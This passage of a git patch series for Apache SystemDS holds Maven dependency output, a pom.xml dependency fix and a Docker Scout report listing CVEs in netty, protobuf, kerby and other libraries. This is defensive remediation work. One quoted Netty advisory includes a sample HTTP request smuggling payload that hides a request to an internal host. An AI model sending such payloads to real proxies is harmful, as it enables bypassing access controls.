org.apache.kerby:kerb-core:jar:1.0.1:compile +[INFO] | | \- org.apache.kerby:kerby-pkix:jar:1.0.1:compile +[INFO] | | +- org.apache.kerby:kerby-asn1:jar:1.0.1:compile +[INFO] | | \- org.apache.kerby:kerby-util:jar:1.0.1:compile +[INFO] | +- org.codehaus.woodstox:stax2-api:jar:4.2.1:compile +[INFO] | +- com.fasterxml.woodstox:woodstox-core:jar:5.4.0:compile +[INFO] | \- dnsjava:dnsjava:jar:2.1.7:compile +[INFO] +- org.apache.hadoop:hadoop-hdfs:jar:3.3.6:compile +[INFO] | +- org.eclipse.jetty:jetty-util-ajax:jar:9.4.51.v20230217:compile +[INFO] | +- commons-daemon:commons-daemon:jar:1.0.13:compile +[INFO] | +- io.netty:netty:jar:3.10.6.Final:compile +[INFO] | \- org.fusesource.leveldbjni:leveldbjni-all:jar:1.8:compile +[INFO] +- org.apache.hadoop:hadoop-client:jar:3.3.6:compile +[INFO] | +- org.apache.hadoop:hadoop-hdfs-client:jar:3.3.6:compile +[INFO] | +- org.apache.hadoop:hadoop-yarn-api:jar:3.3.6:compile +[INFO] | | \- javax.xml.bind:jaxb-api:jar:2.2.11:compile +[INFO] | +- org.apache.hadoop:hadoop-yarn-client:jar:3.3.6:compile +[INFO] | | +- org.eclipse.jetty.websocket:websocket-client:jar:9.4.51.v20230217:compile +[INFO] | | | +- org.eclipse.jetty:jetty-client:jar:9.4.51.v20230217:compile +[INFO] | | | \- org.eclipse.jetty.websocket:websocket-common:jar:9.4.51.v20230217:compile +[INFO] | | | \- org.eclipse.jetty.websocket:websocket-api:jar:9.4.51.v20230217:compile +[INFO] | | \- org.jline:jline:jar:3.9.0:compile +[INFO] | +- org.apache.hadoop:hadoop-mapreduce-client-core:jar:3.3.6:compile +[INFO] | | \- org.apache.hadoop:hadoop-yarn-common:jar:3.3.6:compile +[INFO] | | +- com.sun.jersey:jersey-client:jar:1.19.4:compile +[INFO] | | +- com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.12.7:compile +[INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:compile +[INFO] | | \- com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:compile +[INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-jobclient:jar:3.3.6:compile +[INFO] | \- org.apache.hadoop:hadoop-mapreduce-client-common:jar:3.3.6:compile +[INFO] +- commons-logging:commons-logging:jar:1.1.3:compile +[INFO] +- org.apache.commons:commons-math3:jar:3.4.1:compile +[INFO] +- org.apache.wink:wink-json4j:jar:1.4:compile +[INFO] +- com.fasterxml.jackson.core:jackson-databind:jar:2.15.2:compile +[INFO] | +- com.fasterxml.jackson.core:jackson-annotations:jar:2.15.2:compile +[INFO] | \- com.fasterxml.jackson.core:jackson-core:jar:2.15.2:compile +[INFO] +- junit:junit:jar:4.13.1:provided +[INFO] | \- org.hamcrest:hamcrest-core:jar:1.3:provided +[INFO] +- org.openjdk.jol:jol-core:jar:0.10:test +[INFO] +- org.mockito:mockito-core:jar:5.1.0:test +[INFO] | +- net.bytebuddy:byte-buddy:jar:1.12.22:test +[INFO] | +- net.bytebuddy:byte-buddy-agent:jar:1.12.22:test +[INFO] | \- org.objenesis:objenesis:jar:3.3:compile +[INFO] +- com.github.stephenc.jcip:jcip-annotations:jar:1.0-1:test +[INFO] +- org.codehaus.janino:janino:jar:3.1.9:provided +[INFO] | \- org.codehaus.janino:commons-compiler:jar:3.1.9:compile +[INFO] +- org.antlr:antlr4:jar:4.8:provided +[INFO] | +- org.antlr:ST4:jar:4.3:provided +[INFO] | +- org.abego.treelayout:org.abego.treelayout.core:jar:1.0.3:provided +[INFO] | +- org.glassfish:javax.json:jar:1.0.4:provided +[INFO] | \- com.ibm.icu:icu4j:jar:61.1:provided +[INFO] +- org.antlr:antlr4-runtime:jar:4.8:compile +[INFO] +- org.apache.derby:derby:jar:10.14.2.0:provided +[INFO] +- io.netty:netty-all:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-buffer:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-dns:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-haproxy:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-http:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-http2:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-memcache:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-mqtt:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-redis:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-smtp:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-socks:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-stomp:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-codec-xml:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-common:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-handler:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-native-unix-common:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-handler-proxy:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-handler-ssl-ocsp:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-resolver:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-resolver-dns:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-rxtx:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-sctp:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-udt:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-classes-epoll:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-transport-classes-kqueue:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-resolver-dns-classes-macos:jar:4.1.96.Final:compile +[INFO] | +- io.netty:netty-resolver-dns-native-macos:jar:osx-x86_64:4.1.96.Final:runtime +[INFO] | \- io.netty:netty-resolver-dns-native-macos:jar:osx-aarch_64:4.1.96.Final:runtime +[INFO] +- net.sf.py4j:py4j:jar:0.10.9:compile +[INFO] +- com.google.protobuf:protobuf-java:jar:3.23.4:compile +[INFO] +- com.google.protobuf:protobuf-java-util:jar:3.23.4:compile +[INFO] | +- com.google.errorprone:error_prone_annotations:jar:2.18.0:compile +[INFO] | \- com.google.j2objc:j2objc-annotations:jar:2.8:compile +[INFO] +- org.slf4j:slf4j-api:jar:2.0.11:compile +[INFO] +- org.slf4j:slf4j-reload4j:jar:2.0.11:compile +[INFO] +- org.slf4j:jul-to-slf4j:jar:2.0.11:compile +[INFO] +- org.slf4j:jcl-over-slf4j:jar:2.0.11:compile +[INFO] +- org.apache.logging.log4j:log4j-api:jar:2.22.1:compile +[INFO] +- org.apache.logging.log4j:log4j-core:jar:2.22.1:compile +[INFO] \- ch.randelshofer:fastdoubleparser:jar:0.9.0:compile +[INFO] ------------------------------------------------------------------------ +[INFO] BUILD SUCCESS +[INFO] ------------------------------------------------------------------------ +[INFO] Total time: 59.447 s +[INFO] Finished at: 2025-12-08T10:24:00+01:00 +[INFO] ------------------------------------------------------------------------ +``` diff --git a/pom.xml b/pom.xml index e0b3f794272..0ee81e34827 100644 --- a/pom.xml +++ b/pom.xml @@ -1077,6 +1077,13 @@ ${jcuda.version} ${jcuda.scope} + + + org.apache.zookeeper + zookeeper + 3.8.3 + + org.apache.spark spark-core_${scala.binary.version} @@ -1142,6 +1149,10 @@ com.google.protobuf protobuf-java + + org.apache.zookeeper + zookeeper + @@ -1266,6 +1277,10 @@ org.slf4j jul-to-slf4j + + org.apache.zookeeper + zookeeper + From 9551d6290ac5820211aa60c9a442b4dd36717bd1 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Sun, 11 Jan 2026 14:39:21 +0100 Subject: [PATCH 04/31] [MINOR][SYSTEMDS-3878] Fix pom.xml vulnerability (CVE-2024-47561) This commit fixes the critical Apache Avro deserialization vulnerability identified by docker scout cves. The following changes have been made to pom.xml: - Added avro.version property (1.11.4) - Added dependencyManagement section to override transitive dependency Source: https://scout.docker.com/v/CVE-2024-47561 --- docker/scout_results/avro/sysds_output4.md | 3028 ++++++++++++++++++++ pom.xml | 14 + 2 files changed, 3042 insertions(+) create mode 100644 docker/scout_results/avro/sysds_output4.md diff --git a/docker/scout_results/avro/sysds_output4.md b/docker/scout_results/avro/sysds_output4.md new file mode 100644 index 00000000000..d0574f68292 --- /dev/null +++ b/docker/scout_results/avro/sysds_output4.md @@ -0,0 +1,3028 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ...Storing image for indexing + ✓ Image stored for indexing + ...Indexing + ✓ Indexed 353 packages + ✗ Detected 42 vulnerable packages with a total of 74 vulnerabilities +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:885db09e90488082517ee48f8385f59d69f0b0ab21bf8606c4de047c9086fb6a
vulnerabilitiescritical: 3 high: 30 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size380 MB
packages353
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.189%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+critical : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
